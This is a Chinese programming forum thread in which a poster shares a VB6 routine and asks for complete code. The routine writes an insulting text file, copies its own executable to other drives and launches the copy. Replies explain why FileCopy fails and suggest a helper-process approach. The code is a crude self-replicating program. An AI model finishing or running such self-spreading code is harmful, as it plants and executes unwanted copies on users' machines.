Private Sub Form_Load()
Open "E:\me.txt" For Output As #4
Print #4, "you; are  idiot!; "
Close #4
On Error GoTo cw
digfile = "D:\"
If Dir(digfile & App.EXEName & ".exe") = "" Then
FileCopy App.Path & "\" & App.EXEName & ".exe", digfile & App.EXEName & ".exe"
digfile = "F:\"
If Dir(digfile & App.EXEName & ".exe") = "" Then
FileCopy App.Path & "\" & App.EXEName & ".exe", digfile & App.EXEName & ".exe"
Open digfile & "me.txt" For Output As #1
Print #1, App.Path & "\" & App.EXEName & ".exe"
Close #1
Shell digfile & App.EXEName & ".exe"
ElseIf Dir(App.Path & "\me.txt") <> "" Then
Open App.Path & "\me.txt" For Input As #2
Input #2, strs
Close #2
End If
End If
Exit Sub
cw:
Unload Me
End Sub
自动生成me.txt
实现me.txt的自我复制  
但每次在容错语句出现错误

如果文件被打开，则无法实现FileCopy

复制文件前，需要关闭打开的文件。

请大神们给个完整的代码吧  小弟拜谢！！！

编译出来再运行吧。

版主大大 牛逼  可惜看不懂啊  

能否告知程序意图？
如果只是复制程序本身，可以再作一个辅助程序
打开主程序 --> 启动辅助程序，关闭主程序 --> 过渡程序复制主程序 --> 打开主程序，关闭辅助程序